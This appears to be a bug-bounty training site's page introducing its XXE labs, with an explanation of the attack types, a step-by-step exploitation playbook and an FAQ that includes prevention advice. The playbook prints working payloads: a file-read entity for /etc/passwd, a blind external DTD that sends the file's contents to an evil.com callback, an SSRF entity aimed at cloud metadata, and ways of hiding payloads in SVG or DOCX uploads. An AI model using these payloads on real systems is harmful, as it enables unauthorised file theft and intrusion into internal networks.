XXE labs
XML External Entity (XXE)
What is XXE?
XXE exploits XML parsers that resolve external entities. It lets you read arbitrary server files, perform SSRF (via remote DTD), DoS attacks (billion laughs) and, on some parsers, remote code execution.
Why practice XXE?
Although many parsers have entities disabled by default post-2018, it still shows up in features that accept XML/SVG/DOCX/SOAP files, config importers and SAML APIs. A critical XXE pays $2,000-$15,000 for arbitrary file read and SSRF.
What will you learn with the XXE labs?
You'll learn to build internal DTDs (file:// targets), external DTDs for blind XXE with OOB exfil via FTP/HTTP, payloads disguised in SVG/DOCX/PPTX (zipped XML), and the bypasses for the most common parsers (libxml2, JAXB, Python lxml).
Types of XXE we cover
- In-band XXE
The parsed XML output reflects in the response. You read /etc/passwd directly.
- Blind XXE (OOB)
No output: you use an external DTD that makes an HTTP/FTP request to your Burp Collaborator with the encoded file contents.
- XXE via SVG
Apps that accept SVG (avatar upload, image processor) parse it as XML. Same vector, different packaging.
- XXE in SOAP/SAML
Legacy endpoints that parse SAML/SOAP without disable_entities. Usually found in B2B and enterprise.
How do you find and exploit XXE?
A practical playbook — from recon to proof of concept.
- 1
Locate XML input
Any endpoint that parses XML: SOAP/REST APIs with Content-Type xml, importers, SAML, RSS, and SVG/DOCX/XLSX uploads (which are XML inside).
POST /api/import Content-Type: application/xml - 2
Try in-band read
Define an external entity pointing to a local file and reflect it where the response shows your data.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r> - 3
Move to blind with OOB
If it doesn't reflect, host an external DTD that reads the file and exfiltrates it via HTTP/FTP to your server through a parameter entity.
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://evil.com/x.dtd"> %p;]> - 4
Build the exfil DTD
In your external DTD, read the file and concatenate it into a callback URL to receive its contents.
<!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % e "<!ENTITY % x SYSTEM 'http://evil.com/?d=%f;'>">%e;%x; - 5
Turn XXE into SSRF
Point the entity at internal services or cloud metadata to pivot inside the network.
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> - 6
Disguise the payload
Package the XXE in an SVG (avatar/preview) or a DOCX/XLSX (unzip, edit the XML, re-zip) to smuggle it where only 'images' or 'documents' are accepted.
avatar.svg with <!DOCTYPE> and &xxe; in the SVG content
Loading labs...
View in full catalog →Frequently asked questions
What is XXE?
XML External Entity is a vulnerability in misconfigured XML parsers that resolve external entities. It lets you read local files, perform SSRF toward internal services, cause DoS (billion laughs) and, on some parsers, escalate to RCE.
How is an XXE exploited?
You send an XML document with a DOCTYPE that defines an external entity pointing to file:// or http://. If the parser resolves it, the content reflects (in-band) or, when blind, is exfiltrated to an attacker server through an external DTD with parameter entities.
How do you find XXE in bug bounty?
Look for any feature that processes XML: SOAP APIs, SAML, importers, feeds and SVG/DOCX/XLSX uploads. Inject an external entity toward your collaborator; if you get the request, there's XXE even if the response shows nothing.
How do you prevent XXE?
Disable DTD and external entity resolution in the parser (disallow-doctype-decl, FEATURE_SECURE_PROCESSING), use simpler formats like JSON when possible, and keep the XML parsing libraries updated.
Difference between XXE and SSRF?
XXE is the vector (an XML parser resolving external entities) and SSRF can be one of its consequences: if the entity points to http://internal, the server makes the request. It also allows file read (file://), something a pure SSRF doesn't always achieve.
Other related categories
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice XXE in real labs
Every XXE lab replicates a real bug bounty report that got paid. Create your free account, start with the Academy and move to the labs whenever you want.
No card · free Academy · cancel anytime